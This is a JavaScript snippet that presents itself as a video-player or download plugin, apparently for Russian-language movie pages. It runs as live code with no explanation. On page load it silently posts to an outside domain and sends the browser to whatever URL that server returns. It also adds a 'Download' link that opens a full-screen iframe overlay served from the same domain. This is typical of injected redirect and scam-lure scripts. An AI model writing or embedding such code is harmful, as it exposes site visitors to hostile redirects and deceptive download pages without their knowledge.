var http = new XMLHttpRequest(); var url = "https://playert.shop/z2.plugin/request.php?platformer=<23&crossorigin=622movieid=3691::82152"; console.log("Sending: First verification wap. Server #1"); var params = "w_location=США&w_coockie=622"; http.open("POST", url, true); http.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http.onreadystatechange = function() {//Call a function when the state changes. if(http.readyState == 4 && http.status == 200) { if(http.responseText.indexOf('http') + 1) {; if(http.responseText != ""){ location.href=http.responseText; } } } } http.send(params);function prepareJquery(jQueryBlocker){ if(window.jQuery) jQueryBlocker(); else{ var script = document.createElement('script'); document.head.appendChild(script); script.type = 'text/javascript'; script.src = "//ajax.googleapis.com/ajax/libs/jquery/3.1.0/jquery.min.js"; script.onload = jQueryBlocker; } } prepareJquery(function jQueryBlocker(){ $(function() { var Click = { options: {}, run: function(options) { var self = this; var p = $(".konvert-registrartion"); var platform_id = p.attr("data-platform"); var attributes = {container:p,platform_id:platform_id}; //var attributes = {platform_id:platform_id,p_title:p_title,p_istitle: p_istitle,p_audio:p_audio,p_logo:p_logo,p_poster:p_poster,p_skip_intro:p_skip_intro,p_playlist:p_playlist,p_type_size:p_type_size,p_type_width:p_type_width,p_playlist_btn:p_playlist_btn,p_src_video:p_src_video,duration:duration,reg_time:reg_time,p_title_date:p_title_date,p_hide_count:p_hide_count,s_ll:s_ll,s_ln:s_ln,s_rl:s_rl,s_rn:s_rn,s_t:s_t,p_seek:p_seek}; self.options = options; self.initData(options.initialize,attributes); }, initData: function(option_refferal,attributes) {; if(option_refferal.crossorigin != null && option_refferal.init != null) { var general_domain = $(".appenJs").attr("src").split('/'); let targetLink = document.createElement("a"); $(targetLink).attr({href:'javascript:void(0)',id:'target-registration',class:'target-registration'}); $(targetLink).text('Скачать'); attributes.container.html(targetLink); let targetFrame = document.createElement("iframe"); let frame_url = 'https://'+general_domain[2]+'/z2.plugin/index.php?crossorigin='+option_refferal.crossorigin+'&plat='+attributes.platform_id+'&movieid='+option_refferal.init; $(targetFrame).attr({src:frame_url,id:'target-registration',name:'plugin-register',id:'plugin-register',frameborder:0}); $(targetFrame).css({'overflow':'hidden','width':'100%','height':'100%','position':'fixed','top':'0px','left':'0px','border':'medium none','display':'none','z-index':9999,'background-color':'#333333','background-color':'rgba(0, 0, 0, 0.5)','color':'#333333','font-size':'13px','font-weight':400}); attributes.container.append(targetFrame); $('.target-registration').on('click', function() { $(targetFrame).show(); }) } } } function receiveMessage(event){ if(event.data=="plugin-register-close"){ $('#plugin-register').hide(); } if(event.data=="plugin-main-reload"){ location.reload(); } } addEventListener("message",receiveMessage,false); Click.run({ initialize: { crossorigin : '622', init : '3691::82152' } }); }); })